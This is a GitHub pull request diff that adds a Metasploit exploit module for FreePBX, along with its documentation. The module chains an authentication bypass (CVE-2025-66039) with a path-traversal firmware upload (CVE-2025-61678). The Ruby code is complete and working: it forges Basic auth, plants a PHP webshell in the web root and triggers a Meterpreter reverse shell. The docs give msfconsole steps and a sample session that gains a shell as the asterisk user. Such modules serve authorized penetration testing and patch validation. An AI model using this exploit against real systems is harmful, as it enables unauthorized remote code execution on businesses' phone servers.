Skip to content
Merged
Show file tree
Hide file tree
Changes from 8 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
## Vulnerable Application

FreePBX is an open-source IP PBX management tool that provides a modern phone system for businesses
that use VoIP to make and receive phone calls. Versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23
are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of
this module. The versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039, while
versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61678. The
former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode
(an option the admin can enable), it allows an attacker to authenticate as any user. The latter
allows unrestricted file uploads via firmware upload, including path traversal. These vulnerabilities
allow unauthenticated remote code execution by bypassing authentication and placing a webshell in the
web server’s directory.

To setup the environment, perform minimal installation from [here](https://downloads.freepbxdistro.org/ISO/SNG7-PBX16-64bit-2302-1.iso).
Note that **Authorization Type** needs to be set to **webserver**:

1. Login into FreePBX Administration
1. Settings -> Advanced Settings
1. Change **Authorization Type** to **webserver**

Finally, the FreePBX needs to be activated to access vulnerable APIs:

1. Log into FreePBX Administraton
1. Admin -> System Admin
1. Activate instance

## Verification Steps

1. Install FreePBX
1. Start msfconsole
1. Do: `use unix/http/freepbx_firmware_file_upload`
1. Do: `set RHOSTS [target IP address]`
1. Do: `set USERNAME [FreePBX user]`
1. Do: `set LHOST [attacker IP]`
1. Do: `run`
1. You should get a shell.

## Options

### USERNAME

Performing authentication bypass requires the username of an existing user.

## Scenarios


```
msf exploit(unix/http/freepbx_firmware_file_upload) > run verbose=true
[*] Started reverse TCP handler on 192.168.3.7:4444
[*] Trying to bypass authentication...
[+] Bypass successful, trying upload webshell...
[+] Upload successful, triggering...
[*] Sending stage (41503 bytes) to 10.5.134.168
[+] Deleted ../qzwzkep1
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.134.168:51276) at 2026-01-28 11:27:32 +0100


meterpreter > sysinfo
Computer : freepbx.sangoma.local
OS : Linux freepbx.sangoma.local 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64
Architecture : x64
System Language : C
Meterpreter : php/linux
meterpreter > getuid
Server username: asterisk

```

138 changes: 138 additions & 0 deletions modules/exploits/unix/http/freepbx_firmware_file_upload.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,138 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'FreePBX firmware file upload',
'Description' => %q{
The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039, while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61678. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter allows unrestricted file uploads via firmware upload, including path traversal. These vulnerabilities allow unauthenticated remote code execution by bypassing authentication and placing a webshell in the web server's directory.
},
'License' => MSF_LICENSE,
'Author' => [
'Noah King', # research
'msutovsky-r7' # module
],
'References' => [
[ 'CVE', '2025-66039'], # Authentication Bypass
[ 'CVE', '2025-61678'], # File Upload and Path Traversal
[ 'URL', 'https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/']
],
'Platform' => ['php'],
'Targets' => [
[
'PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'Type' => :php
}
]
],
'DisclosureDate' => '2025-12-11',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('USERNAME', [true, 'A valid FreePBX user']),
]
)
end

def check
res = send_request_cgi({
'uri' => normalize_uri('admin', 'config.php'),
'method' => 'GET'
})

if (res&.code == 401 && res.body.include?('FreePBX')) ||
(res.code == 500)
return CheckCode::Detected('The FreePBX with Webserver authentication mode detected')
end

CheckCode::Safe('Webserver authorization mode is not set')
end

def get_session_cookie
res = send_request_cgi({
'uri' => normalize_uri('admin', 'config.php'),
'method' => 'GET',
'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6)) },
'keep_cookies' => true
})

fail_with(Failure::UnexpectedReply, 'Received unexpected reply') unless res&.code == 401

fail_with(Failure::NotVulnerable, 'Target might not be vulnerable to authentication bypass') unless res.get_cookies
end

def upload_webshell
@target_payload_file_name = %(#{Rex::Text.rand_text_alphanumeric(8).downcase}.php)
@target_dir = Rex::Text.rand_text_alphanumeric(8).downcase

form_data = Rex::MIME::Message.new

form_data.add_part(SecureRandom.uuid, nil, nil, 'form-data; name="dzuuid"')
form_data.add_part('0', nil, nil, 'form-data; name="dzchunkindex"')
form_data.add_part(payload.encoded.length.to_s, nil, nil, 'form-data; name="dztotalfilesize"')
form_data.add_part('2000000', nil, nil, 'form-data; name="dzchunksize"')
form_data.add_part('1', nil, nil, 'form-data; name="dztotalchunkcount"')
form_data.add_part('0', nil, nil, 'form-data; name="dzchunkbyteoffset"')
form_data.add_part("../../../var/www/html/#{@target_dir}", nil, nil, 'form-data; name="fwbrand"')
form_data.add_part('1', nil, nil, 'form-data; name="fwmodel"')
form_data.add_part('1', nil, nil, 'form-data; name="fwversion"')
form_data.add_part(payload.encoded, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{@target_payload_file_name}"))

res = send_request_cgi({
'uri' => normalize_uri('admin', 'ajax.php'),
'method' => 'POST',
'headers' => {
'Authorization' => basic_auth(Rex::Text.rand_text_alphanumeric(6), Rex::Text.rand_text_alphanumeric(6)),
'Referer' => full_uri(normalize_uri('admin', 'config.php'))
},
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'vars_get' => { 'module' => 'endpoint', 'command' => 'upload_cust_fw' },
'data' => form_data.to_s
})

fail_with(Failure::PayloadFailed, 'Failed to upload webshell') unless res&.code == 500
register_dir_for_cleanup("../#{@target_dir}")
end

def trigger_payload
send_request_cgi({
'uri' => normalize_uri(@target_dir, @target_payload_file_name),
'method' => 'GET'
})
end

def exploit
print_status('Trying to bypass authentication...')
get_session_cookie

print_good('Bypass successful, trying upload webshell...')

upload_webshell

print_good('Upload successful, triggering..e')

trigger_payload
end
end